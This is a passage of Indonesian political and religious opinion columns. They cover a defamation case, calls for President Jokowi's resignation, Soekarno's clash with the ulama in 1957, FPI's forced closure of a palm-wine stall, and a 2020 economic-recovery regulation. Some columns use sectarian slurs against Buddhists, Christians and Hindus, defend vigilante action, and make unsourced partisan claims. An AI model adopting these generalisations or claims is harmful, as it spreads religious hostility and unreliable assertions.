Islam tentang toleransi.” Di Negara yang berdasarkan Pancasila ini, umat minoritas sangat-sangat dilindungi. Akan tetapi sebaliknya, jika umat Islam menjadi minoritas di suatu negara, hampir dipastikan Islam akan diinjak-injak, dibunuh, disiksa dan diperkosa. Ruang gerak mereka beribadah terbatas, karena selain aturan pemerintahnya juga karena banyak penduduknya yang rasis dan islampobia. Anda tidak percaya? Coba ingat kembali bagaimana umat Islam diperlakukan oleh umat Budha teroris di Myanmar. Coba baca dan ingat kembali perlakuan umat Hindu ekstrimis India kepada umat Islam. Coba ingat kembali perlakuan pemerintah komunis RR China kepada kaum muslim minoritas di Ughiur. Belum lagi perlakuan Amerika Serikat dan sekutunya yang memerangi umat Islam di Afghanistan atas nama melawan teroris. Memerangi Irak atas nama atau tuduhan membangun senjata nuklir dan senjata pemusnah massal (sampai sekarang tidak terbukti). Memerangi Libya dan lainnya. Dalihnya macam-macam, meski sebenarnya alasan yang kuat adalah tidak suka negara yang mayoritas Islam maju. (Bersambung)** Penulis, Wartawan Senior

Benarkah Said Didu Menghina Luhut?

Oleh Mayasyak Johan Jakarta, FNN (19 Mei 2020) - Media tengah ramai memberitakan pemanggilan wartawan senior Hersubeno Arief sebagai saksi dalam kasus Muhammad Said Didu Vs Luhut B Panjaitan. Banyak yang bertanya, secara hukum apakah tayangan di channel Youtube tersebut merupakan produk jurnalistik? Dan apakah MSD telah melakukan penghinaan dan pencemaran nama baik? Tayangan wawancara dengan MSD: LUHUT HANYA PIKIRKAN UANG, UANG, DAN UANG adalah produk jurnalistik karena merupakan hasil sebuah wawancara yang dilakukan seorang wartawan.Wawancara dilakukan oleh seorang wartawan senior dan bekerja di berbagai media yang kredibel. Majalah Editor, Harian Republika, Radio Trijaya FM, Metro TV, ANTV dan sekarang di FNN.Apakah Youtube bisa disebut sebagai produk Jurnalistik?Jawabannya itu adalah produk jurnalistik yang sekarang dikenal dengan nama Citizen Journalism (jurnalisme warga).Eksistensi citizen journalism saat ini sudah diakui di seluruh dunia, dan media mainstream mengadopsi dan memberi ruang.Banyak karya citizen journalism yang program khusus di media mainstream baik cetak, online, dan televisi.Sebagai contoh di kompas.com, Republika Online, dan tempo.co menyediakan ruang tersendiri. Trans TV menayangkan sebuah program yang diambil dari konten Youtube. Demikian juga beberapa stasiun tv lainnya.Secara hukum UU Pokok Pers benar belum mengadopsi citizen journalism dalam pasal-pasalnya, namun kita tidak bisa menutup mata, eksistensi bahkan pengaruhnya sudah diakui di seluruh dunia.Hukum memang selalu tertinggal dari realita dan perkembangan di tengah masyarakat. Sudah waktunya hukum mulai mengaturnya karena citizen journalism sudah tidak bisa dihindari lagi sebagai perkembangan dari dunia IT.Sebelumnya kita juga mengenal profesi freelance journalist (wartawan bebas/paruh waktu) yang eksistensinya diakui di seluruh dunia. Beberapa karya mereka mendapatkan penghargaan bergengsi dunia. Salah satu contohnya adalah karya Talal Abu Rahma berupa liputan penembakan di Jalur Gaza, Palestina yang ditayangkan Channel 2, Perancis dan CNN.Tayangan penembakan pasukan Israel terhadap seorang Bapak yang melindungi anaknya itu menggemparkan dunia. Talal mendapat penghargaan dari Martin Adler Prize pada 19 Nov 1999.Saat ini dunia jurnalistik tengah mengalami shifting. Tidak lagi berbasis kelembagaan, namun sudah mengarah kepada individu. Perkembangan itu tidak lagi bisa dibendung dengan hadirnya kanal Youtube dan situs video berbagi lainnya. Sudah menjadi sebuah keniscayaan.Mengenai judul tayangan, sebagai jurnalis Hersubeno menjalankan profesinya secara profesional. Luhut Hanya Pikirkan Uang, Uang dan Uang merupakan pernyataan dari Said Didu sebagaimana bisa disaksikan dalam tayangan.Jika Hersubeno mengubah atau bahkan menghilangkan pernyataan MSD sebagai narasumber, maka dia telah melakukan sensorship yang sangat bertentangan dengan prinsip kebebasan pers.Hubungan antara MSD dengan Hersubeno Arief adalah hubungan profesional antara seorang jurnalis dan nara sumber yang dilindungi undang-undang.Apa yang diucapkan oleh MSD secara substansial, empirik dan psikologis bukan merupakan penghinaan, juga bukan kebencian atau ingin menyerang kepribadian seseorang, melainkan clear merupakan fakta dimana dalam mengambil keputusan LBP lebih mengedepankan pertimbangan ekonomi ketimbang pendekatan lingkungan atau kesehatan.Penilaian pendekatan itu yang dinarasikan dengan Uang dan Uang. Dengan kata lain istilah Uang dan Uang itu adalah kata lain yang lebih menekankan pendekatan ekonomi.Dalam berbagai keterangan pers yang diberikannya LBP selalu menunjukkan atau mengedepankan bahwa pertimbangan lebih mengutamakan pertimbangan riel ekonomi. Dan itu yang dibaca dengan Uang, Uang dan Uang oleh MSD.Sebagai jurnalis profesional yang lebih 30 tahun bekerja di berbagai media massa, Hersubeno menilai tidak ada nuansa kebencian dalam nada suara MSD. Hersubeno menilai bahwa ini adalah kata ganti dari sebuah pendekatan atas istilahnya agar lebih mudah dipahami publik.Karena itu sang pewawancara yaitu Hersubeno tidak melakukan self-cencorship, sebab ini menurut penilaian Hersubeno dan banyak orang ini adalah penilaian dari sudut yang berbeda secara scientifik.Tidak ada unsur menyebarkan kebencian apalagi menimbulkan keonaran dari pernyataan MSD karena itu merupakan penilaian terhadap kebijakan seorang pejabat publik yang berdampak luas terhadap masyarakat. Jadi harus dikritisi.Sebagai pejabat publik, Luhut harus siap dinilai bahkan dikritik publik. Menjadi aneh bila dia tidak mau dinilai, sementara dia menilai pernyataan MSD sebagai sebuah penghinaan dan pencemaran nama baik.Mudah-mudahan ada manfaatnya. Penulis adalah Advokat, Mantan Wakil Ketua Komisi III DPR RI.

Kemuliaan Dan Kehinaan Karena Kekuasaan

By M. Rizal Fadillah Jakarta FNN – Selasa (19/05). Rosulullah SAW diperintahkan membaca dan memahami Al-Qur'an Surat Ali Imron 26. Begitu juga dengan kaum beriman yang biasa membaca Al-Qur'an. Ayat ini berhubungan dengan hakekat dari kekuasaan. Dimana manusia selalu berusaha, dan berlomba untuk mendapatkan kekuasasaan. Demi kemuliaan dirinya. Bunyi terjemah ayat tersebut adalah, "Katakanlah (Muhammad) Wahai Allah Pemilik Kekuasaan, Engkau berikan kekuasaan kepada siapapun yang Engkau kehendaki dan Engkau cabut kekuasaan dari siapapun yang Engkau kehendaki. Engkau muliakan siapapun yang Engkau kehendaki dan Engkau hinakan siapapun yang Engkau kehendaki. Ditangan Engkau segala kebajikan. Sungguh Engkau Maha Kuasa atas segala sesuatu". Ada empat hal kandungan utama ayat Al-Qur’an tersebut. Pertama, Allah adalah pemilik dari segala kekuasaan. Kedua, Allah yang memberikan dan mencabut kekuasaan. Ketiga, Allah yang memuliakan dan menghinakan pemegang kekuasaan. Keempat, segala kebajikan yang berhubungan dengan kekuasaan ditentukan oleh Allah SWT. Ketika orang berlomba dengan segala cara untuk mendapatkan kekuasaan, maka konten ayat ini menjadi penting. Mengingatkan bahwa kebaikan dan kemulian menurut kita itu belum tentu demikian adanya. Kemutlakan dari kemuliaan itu menurut Allah "tu'izzu man tasya".Begitu juga kehinaan "tudhilu man tasya". Keagamaan harus menjadi orientasi. Dahulu, pada masa Pemerintahan Soekarno sampai tahun 1955, masih bagus. Pemilu dengan sangat demokratis. Keluarnya Dekrit Presiden 5 Juli tahun 1959 juga baik. Karena kembali ke UUD 1945 dengan penghargaan pada kekuatan politik keumatan. "Piagam Jakarta menjiwai UUD 1945". Setelah itu, terjadi kediktatoran Presiden mulai tampak ke permukaan. Demokrasi Terpimpin, dan Nasakom. Tahun 1965 dalam HUT PKI Soekarno berpidato "Subur Subur Suburlah PKI". Akrab sekali Soekarno dengan PKI. Akhinya kemuliaan yang diperoleh, namun kehinaan yang didapat Soekarno. Masa Pemerintahan Soeharto sampai pembentukan ICMI, ada penghargaan kepada umat Islam. Andai Presiden berhenti saat itu mungkin ceritra kebaikan dominan. Namun para penjilat mendorong untuk terus berkuasa, sehingga tahun 1998 dijatuhkan dengan lebih sakit. Begitulah hukum kekuasaan. Saat lagi bagus-bagusnya, mestinya berhenti. Segera turun dari kekuasaan. Dikiranya berlama-lama di puncak kekuasaan itu membuat sang penguasa mulia di mata rakyatnya. Padahal yang terjadi, justri sebaliknya. Masa pemerintahan setelah Soeharto, "datar datar" saja. Kecuali masa pemerintahan Gus Dur, yang diturunkan rakyat. Karena mencoba membubarkan DPR. Itupun karena didorong-dorong oleh kekuatan "kiri" yang merasa nyaman dengan gayanta Gus Dur. Sekarang, masa pemerintahan Jokowi. rasanya tidak ada penghargaan terhadap kekuatan politik umat Islam. Malah dibilang, jangan campur agama dengan politik, deradikalisasi, dan intoleransi. Menghapus pelajaran perang dalam Islam adalah contoh sentimen yang negative itu. Semestinya Presiden Jokowi membaca tingkat kepercayaan yang rendah tersebut. Sebab Presiden telah menjadi bahan olok olokan. Pertanda penghargaan kepada Presiden sudah sangat rendah. Berdasarkan Tap MPR No VI tahun 2001 seharusnya sekarang waktunya untuk Jokowi mundur dari jabatan Presiden. Kalau mundur sekarang, mungkin nama baik masih bisa diselamatkan. Jika terus menjalankan kekuasaan secara kontroversial, seperti akrab dengan RRC, masuknya TKA Cina yang menyalahgunakan fasiltas visa kunjungan untuk bekerja di pabrik peleburan nikel. Begitu juga dengan rencana pindah ibukota, Perppu Otoriter, RUU Omnibus Law Cipta Kerja, dan korupsi yang juga merajalela. Maka bukan mustahil Jokowi bisa diturunkan secara konstitusional. Kembali ke ayat Al-Qur'an, Surat Ali Imron, ayat 26 di atas, maka jabatan-jabatan yang dipegang dan dipertahankan tersebut, belum tentu dapat memuliakan. Bahkan bisa jadi menghinakan kelak. Disinilah, pandangan hidup yang sekularis dan pragmatis telah banyak membuktikan kekeliruannya. Mengabaikan agama dan kekuatan agama di Indonesia, justru akan menuai badai yang bisa menyakitkan nantinya. Tak terkecuali Jokowi atau siapapun. Penulis adalah Pemerhati Politik dan Kebangsaan

Soekarno Mencela Muktamar Alim-Ulama Tahun 1957 "Komunis Phobia"

By Prof. Dr. K.H. Buya Hamka Cerita dari almarhum BUYA HAMKA ini, telah dipublikasikan oleh Majalah Panjimas dari tahun 1967-1981, terbitan Pustaka Panjimas halaman 319. Dan telah dirilis kembali oleh Islam Media. Jakarta, FNN - Senin (18/05). Mari kita segarkan kembali ingatan kita, bahwa menegakkan kebenaran itu selalu penuh dengan tantangan. Belum tentu yang tampak diikuti secara gegap gempita dengan segala kebesarannya adalah hal yang benar. Ulama sejati tidak boleh mundur dalam menyuarakan kebenaran sekalipun kesesatan tampak bagai gelombang besar di hadapannya. Pada tanggal 17 Agustus 1958, dengan suara yang gegap gempita, Presiden Soekarno telah mencela dengan sangat keras Muktamar (Konferensi) para Alim Ulama Indonesia yang berlangsung di Palembang tahun 1957. Berteriaklah Presiden Soekarno bahwa konferensi itu adalah “komunis phobia”. Dan itu adalah suatu perbuatan yang amoral. Pidato yang berapi-api itu disambut dengan gemuruh oleh massa yang mendengarkan. Terdiri dari Parpol dan Ormas yang menyebut dirinya revolusioner dan tidak terkena penyakit komunis phobia. Sebagaimana biasa pidato itu kemudian dijadikan sebagai bagian dari ajaran-ajaran Pemimpin Besar Revolusi. Semua golongan berbondong-bondong menyatakan mendukung pidato itu tanpa syarat (reserve). Malanglah nasib Alim-Ulama yang berkonferensi di Palembang itu. Karena dianggap sebagai orang-orang yang kontra revolusi, Bagai telah tercoreng arang. “Nasibnya telah tercoreng di dahinya”, demikian peringatan Presiden Soekarno. Banyak orang yang tidak tahu apa gerangan yang dihasilkan oleh Alim-Ulama yang berkonferensi di Palembang itu. Disebabkan kurangnya publikasi atau tidak ada yang berani mendukung konferensi Alim-Ulama itu, publikasi-publikasi pembela Soekarno dan surat-surat kabar komunis telah mencaci maki Alim-Ulama kita. Perlulah kiranya resolusi Muktamar Alim-Ulama ini kita siarkan kembali? Agar menyegarkan ingatan Umat Islam, dan membandingkannya dengan Keputusan Sidang MPRS ke-IV yang berlangsung bulan Juli tahun 1966 lalu. Sebab Muktamar Alim-Ulama yang berlangsung pada tanggal 8 – 11 September 1957 di Palembang telah memutuskan bahwa : Ideologi-ajarant komunisme adalah kufur hukumnya dan haram bagi umat Islam menganutnya. Bagi orang yang menganut ideologi-ajaran komunisme dengan keyakinan dan kesadaran, dan kafirlah dia. Orang tersebut tidak sah menikah dan menikahkan orang Islam. Tiada pusaka mempusakai, dan haram jenazahnya diselenggarakan (tata-cara pengurusan) secara Islam. Bagi orang-rang yang memasuki organisasi atau partai-partai berideologi komunisme seperti PKI, SOBSI (Sentral Organisasi Buruh Seluruh Indonesia), Pemuda Rakyat dan lain-lain dengan keyakinan dan kesadaran, mka sesatlah dia. Wajib bagi umat Islam menyeru mereka meninggalkan organisasi dan partai tersebut. Demikian bunyi resolusi yang diputuskan oleh Muktamar Alim-Ulama Seluruh Indonesia di Palembang tahun 1957 itu. Resolusi yang ditandatangani oleh Ketua K.H. Muhammad Isa Anshary dan Sekretaris Ghazali Hassan. Karena resolusi yang demikian itulah, para ulama kita yang bermuktamar itu dikatakan oleh Presiden Soekarno sebagai amoral (tidak bermoral/kurangajar). Akibat dari keputusan Muktamar tersebut, Alim-Ulama kita yang sejati langsung dituduh sebagai orang-orang tidak bermoral, komunis phobia, musuh revolusi dan sebagainya. Akibatnya, K.H. Muhammad Isa Anshary sebagai ketua yang menandatangani resolusi tersebut, pada tahun 1962 dipenjarakan tanpa proses pengadilan, selama kurang lebih empat tahun. Dan banyak lagi Alim-Ulama yang terpaksa menderita di balik jeruji besi karena dianggap kontra revolusi. Terbengkalai nasib keluarga, habis segala harta-benda, bahkan banyak di antara mereka memiliki anak yang masih kecil-kecil. Semua penderitaan itu tidak menjadi pikiran Soekarno. Disamping itu, ada "ulama” lain, yang karena berbagai sebab memilih tunduk tanpa reserve pada Soekarno dengan ajaran-ajaran yang penuh maksiat itu. Bermesra-mesra dengan komunis di bawah panji Nasakom. Bertahun lamanya masa kemesraan dengan komunis itu berlangsung di negara kita. Dalam indoktrinasi pidato-pidato Soekarno, Nasakom dipuji-puji sebagai ajaran paling tinggi di dunia. Ulama yang dipandang kontra revolusi, yang telah memutuskan komunis sebagai paham kafir yang harus diperangi, dihina dalam setiap pidato dan dalam setiap tulisan. Meskipun sang ulama sudah meringkuk dalam tahanan. Namun namanya tetap terus dicela sebagai orang paling jahat, karena anti Soekarno, dan anti komunis. Nasehat dan fatwa ulama yang didasarkan kepada ajaran-ajaran Al-Qur’an, dikalahkan dengan ajaran-ajaran Soekarno melalui kekerasan ala komunis. Rupanya Allah hendak memberi dulu cobaan bagi rakyat Indonesia. Kejahatan komunis akhirnya terbukti dengan Gestapu-nya. Allah mencoba dulu rakyat Indonesia, sebelum Allah membuktikan kebenaran apa yang dikatakan oleh Alim-Ulama itu. Watak ulama adalah sabar dalam penderitaan ,dan bersyukur dalam kemenangan. Sidang MPRS ke IV pun telah mengambil keputusan mengenai komunis dan ajaran-ajarannya sebagai berikut: “Setiap kegiatan di Indonesia untuk menyebarkan atau mengembangkan paham atau ajaran Komunisme /Marxisme /Leninisme dalam segala bentuk dan manifestasinya, dan penggunaan segala macam aparatur serta media bagi penyebaran atau pengembangan paham atau ajaran tersebut adalah DILARANG”. Dengan keputusan MPRS tersebut, apa yang mau dikata tentang Alim-Ulama kita yang dulu dikatakan amoral oleh Soekarno? Insya Allah para Alim-Ulama kita dapat melupakan semua penghinaan dan penderitaan yang dilemparkan kepada mereka. Sebagai ulama, mereka tidak akan pernah bimbang walau perjuangan menegakkan kebenaran dan keadilan itu pasti akan beroleh ujian yang berat dari Tuhan. Watak ulama adalah sabar dalam penderitaan dan bersyukur dalam kemenangan. Ulama yang berani itu telah menyadarkan dirinya sendiri bahwa mereka itu adalah ahli waris para Nabi. Nabi-nabi banyak yang dibuang dari negeri kelahirannya. Seperti yang dialami Nabi Ibrahim A.S. yang dipanggang dalam api unggun yang besar dan bernyala-nyala, ataun seperti yang dialami Nabi Zakariya A.S. yang gugur karena digergaji dan lain-lain. Bgitulah para Nabi utusan Allah itu. Hargailah putusan Muktamar Alim-Ulama di Palembang itu. Karena akhirnya kita semua telah membenarkannya. Bersyukurlah kita kepada Tuhan bahwa pelajaran ini dapat kita petik bukan dari menggali perbendaharaan ulama-ulama yang lama. Namun hanya dari peristiwa sejarah yang lalu.

Jangan Ajari Saya Toleransi dan Pancasila (bagian 1): FPI Ormas yang Sangat Toleran

Habib Rizieq bukan kabur. Dia hanya mau menyelamatkan istri dan anak-anaknya yang diancam dibunuh dan diperkosa. Habib Rizieq tidak takut mati, kapan dan dimana saja. Oleh : Mangarahon Dongoran Jakarta, FNN - TULISAN ini saya buat setelah mengikuti peristiwa penggerebekan atau penutupan lapo tuak di Batang Kuis, Kabupaten Deli Serdang, Sumatera Utara akhir April lalu. Penggerebekan dilakukan masyarakat bersama anggota Front Pembela Islam (FPI) setempat, karena laporan keresahan masyarakat atas lapo tuak yang buka di bulan Ramadhan, bulan suci umat Islam, ke kecamatan dan kepolisian setempat tidak direspon atau ditindaklanjuti Menurut berita yang saya baca di media resmi (bukan media sosial), penutupan paksa lapo (kedai) tuak itu dilakukan karena pemiliknya, seorang perempuan, tidak menggubris permohonan masyarakat sekitar lapo tuak yang mayoritas Muslim agar menutup usahanya, terutama di bulan Ramadhan, bulan suci umat Islam. Bahkan, ada suruhan dari pemilik lapo yang mendatangi pihak FPI, dan diduga menyodorkan sejumlah uang agar kegiatan di kedai itu tetap jalan. Jelas FPI menolak. Sejak kapan FPI mau disogok? Imam Besar Habib Rizieq saja yang dicoba disogok Rp 1 triliun agar membatalkan demo 212 menolak mentah-mentah. Wah, kalau mau disogok, FPI sudah menjadi ormas Islam yang kaya raya, tetapi sudah pasti dicaci-maki dan ditinggal anggota, pendukung dan simpatisannya. Sejak lama, banyak yang berusaha menyogok FPI. Usaha menyogok datang dari berbagai kegiatan bisnis haram, mulai dari importir minuman keras, importir video porno, bandar narkoba, bandar judi (sewaktu judi masih merajalela), sampai tukang sabung ayam. Nah, di media sosial, pihak yang membela pemilik lapo tuak juga menulis macam-macam, mencoba memojokkan dan mengadu-domba antara FPI dan umat Islam. Mereka dengan keangkuhannya menyebut, "Mana toleransi orang Islam. Mau cari makan saja tidak boleh." Ada lagi kalimat, "Saya tidak benci Islam, tapi saya benci FPI. Bubarkan FPI. FPI tidak punya izin." Yang lebih menyedihkan dan membuat emosi, ada tulisan di medsos yang kalimatnya, "Buka warung nasi dan kopi kok dilarang, padahal pintunya sudah ditutup kain, sehingga orang dari luar tidak dapat melihat (yang makan dan minum di dalam)." Padahal, pemilik lapo, Lamaria Manulang jelas mengakui menjual tuak (minuman yang terbuat dari air aren yang dicampur bahan tertentu, sehingga bisa memabukkan). Alasannya, karena ada supir angkot yang memintanya menjual barang haram bagi umat Islam itu. Katanya, tuak untuk obat corona virus diseade 2019 (Covid-19). Waduh hebat sekali ya. Aneh! Siapa sebenarnya sopir angkot itu? Apakah provokator atau hanya alasan yang dibuat-buat perempuan pemilik lapo? Atau sudah kongkalikong antara pemilik lapo dan sopir angkot. Sudah tahu tuak diharamkan umat Islam, kok masih berani menjualnya, terutama di bulan Ramadhan dan di daerah yang penduduknya mayoritas beragama Islam. Facebook saya pun habis-habisan diserang pendukung penjual tuak itu. Dari nama-nama dan marganya, saya pastikan semua Nasrani atau Kristen. Makanya, saya sempat mengirim pesan ke WA Grup, "Saya lagi 'berperang' melawan kelompok B-3." Mereka menyerang dari berbagai penjuru. Mulai dari kata-kata menuding saya pendukung khilafah, pendukung FPI, alumni 212, tidak toleran, kok puasa tidak sabar dan macam-macam. Bahkan menuduh saya seorang radikal. Saya akan mulai dari uraian atas tuduhan mereka tidak toleran atau intoleran dari FPI, umat Islam dan saya. Saya selalu menjawab, betapa indahnya toleransi itu jika masing-masing memahami makna dan artinya. Saya juga sering menjawab, "Jangan ajari saya toleransi." Toleransi dalam pandangan saya memiliki makna yang luas dan dalam. Tidak hanya dalam beragama, tetapi toleransi itu juga menyangkut hubungan antar suku, ras dan golongan. Bahkan, toleransi itu bagi saya juga menyangkut hubungan keluarga, hubungan antar partai dan seterusnya. Sebab, jika makna toleransi itu hanya pada agama, artinya pemahamannya sangat dangkal dan sempit. Apalagi cuma toleransi antar umat beragama. Padahal, ada juga toleransi inter (sesama) umat beragama. Dalam Islam, toleransi sudah dipupuk antara pengikut Mazab Imam Hanafi, Mazab Imam Maliki, Mazab Imam Syafi'i dan Mazab Imam Hambali. Dalam praktik sehari-hari, toleransi antara muslim yang bergabung dalam Nahdhalatul 'Ulama atau NU sebagai pengikut Imam Syafi'i dan Muhammadiyah sebagai pengikut Imam Hambali terus dipupuk dan dibina. Di dalam keluarga saja, misalnya kita harus toleran, saling mengerti dan saling memahami. Jika tidak toleran (misal, suami seenaknya pada istri dan anak-anak), bisa dipastikan ikatan keluarga itu cepat bubar. "Bapaknya kejam, suka mukul, suka berkata kasar dan lain-lain," begitu saya beberapa kali merekam perbincangan dengan wanita yang bercerai dengan suaminya. "Jangan ajari saya toleransi," demikian kalimat yang hampir selalu saya tulis untuk menjawab serangan dari kaum radikal kafir Kristen ke Islam dan saya melalui FB. Kelompok yang menyerang saya menulis beragam kalimat yang sangat menyakitkan dan melukai umat Islam. Saya tahu, mereka memancing saya agar emosi. Akan tetapi, selalu saya jawab dengan kalimat yang logis dan masuk akal. Misalnya, ketika mereka menyebut pimpinan kadrun (kadal gurun, bagi kelompok 212), saya jawab apa adanya. "Pimpinan kadrun (maksudnya Habib Rizieq Shihab), kabur ke luar negeri. Tidak berani pulang. Takut ya dan kalimat lainnya," tulis salah seorang pemilik akun FB. Saya cuma menjelaskan, "Habib Rizieq bukan kabur. Dia hanya mau menyelamatkan istri dan anak-anaknya yang diancam dibunuh dan diperkosa. Habib Rizieq tidak takut mati. Siap kapan dan di mana pun dibunuh. Akan tetapi, istri dan anak-anak (semua anaknya perempuan) takut dan trauma," jawab saya. Sama halnya saya dan Anda. Kalau cuma diancam dibunuh saya tidak takut, mungkin juga Anda. Tapi kalau sampai istri dan anak Anda diancam dibunuh dan diperkosa, Anda masih berpikir bagaimana menyelamatkan mereka. Lagi pula, cukup wajar dalam setiap pertikaian politik, seseorang yang berseberangan dengan pemerintah mengasingkan diri. Coba banya cerita Nelson Mandela, pemimpin oposisi Filipina, pemimpin oposisi Myanmar dan lain-lain yang mengasingkan diri demi perjuangan menegakkan kebenaran. Intoleran masuk klenteng Kok tidak lapor ke polisi? Percuma melaporkannya. Sebab, ruang zikir Habib Rizieq di Pesantren Mega Mendung, Puncak, Bogor Jawa Barat yang ditembaki orang tidak dikenal dan sudah dilaporkan, tidak ada kelanjutannya. Belum lagi saat Habib Rizieq ceramah di daerah Cawang, Jakarta, dua mobil penuh bensin (satu sudah terbakar) dan meluncur ke arah jamaah dan panggung) juga tidak ada kelanjutannya. Tentang kalimat mereka yang menulis , "Saya tidak benci Islam, tapi benci FPI apalagi izinnya tidak diperpanjang." Saya jawab bahwa berdasarkan undang-undang, tidak diperlukan perpanjangan izin sebuah ormas (organisasi kemasyarakatan) apa pun, tidak hanya FPI. "Jika Anda benci FPI berarti benci Islam juga," tulis saya. Ketika mereka mengeluarkan video ada orang ceramah memakai peci putih, pake koko dan kain sarung menyebut FPI tidak perlu, saya pun mengirimkan video anggota FPI yang melakukan penyemprotan disinfektan di Klenteng, Petak 9, Jakarta. Kalau FPI tidak dibutuhkan dan intoleran, apakah pengelola klenteng akan membiarkan mereka masuk? (Bersambung).** Penulis, Wartawan Senior.

Penjara Setia Menunggu Pejabat Pemberi Likuiditas

By Dr. Margarito Kamis Hukum sudah bergerak lebih jauh dari itu, ia telah berkembang melawan tujuannya sendiri. Hukum sudah dipakai menghancurkan tujuannya sendiri,Ia telah dipakai memberangus keadilan yang seharusnya ia pelihara untuk membatasi dan menghancurkan hak-hak yang seharusnya ia junjung tinggi. Hukum telah menempatkan kekuatan kolektif untuk memihak pihak yang keji yang ingin tanpa pengorbanan diri sama sekali, memanfaatkan kedirian kebebasan dan hak milik orang lain (Frederick Bastiat, Filosof Perancis). Jakarta FNN – Senin (18/05). Kebijakan penyelamatan ekonomi nasional, di dalamnya termasuk menyelematkan korporasi di bidang keuangan, baik maupun non bank, yang dipayungi Perppu Nomor 1 Tahun 2020, telah disahkan DPR menjadi undang-undang. Payung hukum tersebut, kini sedang memasuki babak teknis. Presiden dalam kerangka itu telah menerbitkan Peraturan Pemerintah (PP) Nomor 23 Tahun 2020. Ya Tuhan, ternyata judul PP ini lebih panjang dari judul Perppu. Sekadar meringankan ingatan saja. Saya ambil bagian paling awal judul dari PP Nomor 23 Tahun 2020 untuk menyebut PP ini. Saya sebut saja PP ini Tentang “Pelaksanaan Program Pemulihan Ekonomi Nasional”. Disingkat “PPEN”. Sekali lagi, ini hanya sekadar untuk memudahkan. Bukan untuk mengubahnya. Karena nama PP hanya dapat diubah secara formal dengan PP juga. Presiden Bertanggung Jawab Secara umum, PP mengatur prinsip-prinsip teknis pelaksanaan program, yang tidak terlalu jauh jaraknya dari penjara ini. Disebut umum, karena tidak ditemukan aturan tentang cara menentukan korporasi diberi bantuan likuditas atau tidak. Termasuk berapa besaranya? Lalu kapan diberikan? Termasuk tidak ditemukan di dalamnya ketentuan tentang bagaimana asesmen terhadap derajat kesehatan asset korporasi. Apa kriteria korporasi yang layak mendapat bantuan atau pinjakan likuiditas? Sama-sekali tidak tergambar dalam PP ini. Ini yang sangat menarik. Mengapa menarik? Para pejabat, terutama yang disebut dalam Perpu, khususnya BI dan OJK, terlihat tak mau menanggung sendiri tanggung jawab atas pelaksanaan Perppu ini. Tanggung jawab yang saya maksudkan adalah tanggung jawab hukum. Ini cukup jelas. Kejelasan itu tergambar pada pasal 7 PP ini. Esensi pasal 7 PP ini adalah perumusan, penetapan dan strategi pelaksanaan kebijakan tidak bisa diputus sendiri atau bersama-sama hanya oleh BI dan OJK. Pasal ini memerintahkan dua Menko bidang ekonomi, Menteri, BI, OJK dan Ketua Dewan Komisioner Lembaga Penjamin Simpanan (LPS) secara bersama-sama merumuskan dan menetapkan strateginya. Tidak itu saja. Kebijakan yang telah dirumuskan oleh mereka, tidak bisa serta-merta dapat ditetapkan menjadi kebijakan pemerintah. Tidak itu. Dalam arti hukum administrasi negara, kebijakan itu harus diberi bentuk hukum untuk dijadikan dasar pelaksanaan. Caranya adalah teknis kebijakan yang telah dirumuskan, harus dibawa lagi ke rapat kabinet. Pada rapat kabinet inilah, Presiden dapat mengundang BI dan OJK. Bila rapat kabinet menyetujui kebijakan yang telah dirancang oleh tim yang disebut pada pasal 7 ayat (1) barulah kebijakan itu dapat dilaksanakan. Ini menarik. Apa yang menarik? Kebijakan itu sepenuhnya memiliki sifat hukum sebagai kebijakan pemerintah. Tanggung jawab atas kebijakan itu beralih dan dipiklul sepenuhnya oleh Presiden. Ini escap bagus buat para pejabat. Harus Diaudit BPK Apakah, dengan demikian pasal 7 PP ini menjadi jebakan kepada Presiden? Tidak bisa berspekulasi. Tetapi apapun itu, para pejabat yang hadir dalam rapat kabinet harus sungguh-sungguh professional. Sekali lagi harus professional. Jauhkan sejauh mungkin sindrom timbang rasa. Semua pengetahuan profesional harus digunakan, sembari mengombinasikannya dengan naluri professional. Argumen profesional dalam rapat kainet itu harus terekam, dicatat. Tujuannya, tentu bagi para pejabat itu adalah untuk memenej ombak yang mungkin datang jauh sesudah kebijakan itu diimplementasi. Apalagi, PP ini jelas tidak menggunakan asumsi pra audit. Yang digunakan adalah post audit oleh BPKP. Ini metode konfensional. Mau telah diaudit atau belum, atau apapun namanya oleh BPKP, hal itu tidak menghalangi BPK melakukan audit. Mau diapakan hasil audit BPK, itu urusan lain. Isu utamanya adalah BPK tak terhalang untuk mengaudit. BPK hanya perlu profesional dan menyatakan apa adanya atas hasil auditnya. Bayangan ketakutan para pejabat yang diserahi kewenangan eksekusi kebijakan ini secara teknis, terutama pemberian likuiditas, terlihat begitu kuat dalam PP ini. Itu terlihat pada pasal 7 ayat (5). Secara esensial ketentuan pasal ini mengatur rapat kabinet dapat menyertakan lembaga penegak hukum dan BPKP. Ini juga escap yang canggih. Cara ini untuk menghindarkan risiko ke person-person pelaksana kebijakan. Sekaligus merupakan cara menyebar tanggung jawab ke semua person yang hadir dalam rapat itu. Tetapi cara ini, dengan alasan tata negara yang bisa diberikan, tidak mengapus tanggung jawab Presiden. Escap ini justru melokalisir. Menempatkan Presiden di pusaran tanggung jawab. Akankah skema tanggung jawab ini berjalan sebagaimana adanya? Tunggu dulu. Ini kan hanya level perumusan dan penetapan kebijakan. Bukan pada pelaksanaan. Dititik inilah masalahnya. Sindrom Penjara Sindrom ini yang sebenarnya membayangi perancang PP ini, dengan cara dimunculkannya pasal 7 itu. Tetapi dilihat dari sudut hukum, masalahnya tidak sepenuhnya selesai hanya dengan menempatkan Presiden pada pusaran pembuatan kebijakan. Masalah sebenarnya pada tanggung jawab hukum – terletak pada pelaksanaan kebijakan. Beban dan penyebaran teknis tanggung jawab, ditentukan secara dominan pada level pelaksanaan kebijakan itu. Inilah yang harus ditimbang secara matang oleh para pejabat yang akan melaksanakan kebijakan secara teknis ini. Pejabat BI, OJK, LPS dan Menteri Keuangan, benar-benar harus cermat secara teknis. Mengapa? Dilihat dari sudut sifat hukum, maka masalahnya adalah apa bedanya Bank Peserta dan Bank Pelaksana? Apakah Bank Peserta itu bukan Bank Umum? Bila sama, mengapa yang satu dikategori Bank Peserta? Dan yang lain dalam status yang sama dikategori Bank Pelaksana? Mengapa bank dengan status hukum yang sama difungsikan secara berbeda? Bagaimana kriteria teknis dan hukumnya? Apakah pembedaan kategorisasi Bank sebagai Bank Peserta dan Bank Pelaksana didasarkan pada ketersediaan likuiditas bank-bank itu? Bila ya, maka soalnya bagaimana menjelaskan kemungkinan bank Bank Perserta mengalami masalah likuditas, sebagaimana diatur pasal 12 PP ini? Bagus, PP ini mengatur Bank Pelaksana yang memiliki program 